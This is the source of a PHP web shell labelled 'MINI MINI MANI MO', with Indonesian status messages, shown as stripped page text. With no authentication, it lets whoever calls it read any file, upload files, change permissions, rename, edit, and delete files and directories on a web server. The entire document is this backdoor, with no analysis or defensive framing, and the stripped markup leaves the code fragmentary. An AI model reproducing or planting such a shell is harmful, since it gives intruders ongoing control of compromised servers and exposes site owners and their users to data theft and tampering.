MINI MINI MANI MO

'; if(isset($_GET['filesrc'])){ echo "
Path : '; $path = $_GET['path'] ?? getcwd(); $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id==0){ echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo '
'; if(isset($_FILES['file'])){ if(move_uploaded_file($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo 'Upload Berhasil
'; }else{ echo 'Upload Gagal
'; } } echo '
File Upload :
Current File : ".$_GET['filesrc'].'

'; echo('
'.htmlspecialchars(@file_get_contents($_GET['filesrc'])).'
'); }elseif(isset($_GET['option']) && ($_POST['opt'] ?? '') != 'delete'){ echo '
'.$_POST['path'].'

'; if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],octdec($_POST['perm']))){ echo 'Permission Berhasil Diganti
'; }else{ echo 'Permission Gagal Diganti
'; } } echo '
Permission :
'; }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo 'Rename Berhasil
'; }else{ echo 'Rename Gagal
'; } } echo '
New Name :
'; }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ if(is_writable($_POST['path'])){ if(@file_put_contents($_POST['path'],$_POST['src']) !== false){ echo 'Edit Berhasil
'; }else{ echo 'Edit Gagal
'; } }else{ echo 'File Tidak Writable
'; } } echo '

'; } echo '
'; }else{ echo '
'; if(isset($_GET['option']) && ($_POST['opt'] ?? '') == 'delete'){ if($_POST['type'] == 'dir'){ if(@rmdir($_POST['path'])){ echo 'Directory Terhapus
'; }else{ echo 'Directory Gagal Terhapus
'; } }elseif($_POST['type'] == 'file'){ if(@unlink($_POST['path'])){ echo 'File Terhapus
'; }else{ echo 'File Gagal Dihapus
'; } } } echo '
'; $scandir = is_readable($path) ? scandir($path) : []; echo '
'; foreach($scandir as $dir){ if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue; echo ""; } foreach($scandir as $file){ if(!is_file($path.'/'.$file)) continue; $size = filesize($path.'/'.$file)/1024; $size = ($size >= 1024) ? round($size/1024,2).' MB' : round($size,3).' KB'; echo ""; } echo '
Name
Size
Permission
Modify
$dir
--
".perms($path.'/'.$dir)."
$file
$size
".perms($path.'/'.$file)."
'; } echo '

OHA YOOOO
'; function perms($file){ $perms = fileperms($file); $info = (($perms & 0xC000) == 0xC000) ? 's' : (($perms & 0xA000) == 0xA000 ? 'l' : (($perms & 0x8000) == 0x8000 ? '-' : (($perms & 0x6000) == 0x6000 ? 'b' : (($perms & 0x4000) == 0x4000 ? 'd' : (($perms & 0x2000) == 0x2000 ? 'c' : (($perms & 0x1000) == 0x1000 ? 'p' : 'u')))))); $info .= (($perms & 0x0100) ? 'r' : '-'). (($perms & 0x0080) ? 'w' : '-'). (($perms & 0x0040) ? (($perms & 0x0800) ? 's':'x'): (($perms & 0x0800) ? 'S':'-')). (($perms & 0x0020) ? 'r' : '-'). (($perms & 0x0010) ? 'w' : '-'). (($perms & 0x0008) ? (($perms & 0x0400) ? 's':'x'): (($perms & 0x0400) ? 'S':'-')). (($perms & 0x0004) ? 'r' : '-'). (($perms & 0x0002) ? 'w' : '-'). (($perms & 0x0001) ? (($perms & 0x0200) ? 't':'x'): (($perms & 0x0200) ? 'T':'-')); return $info; } ?>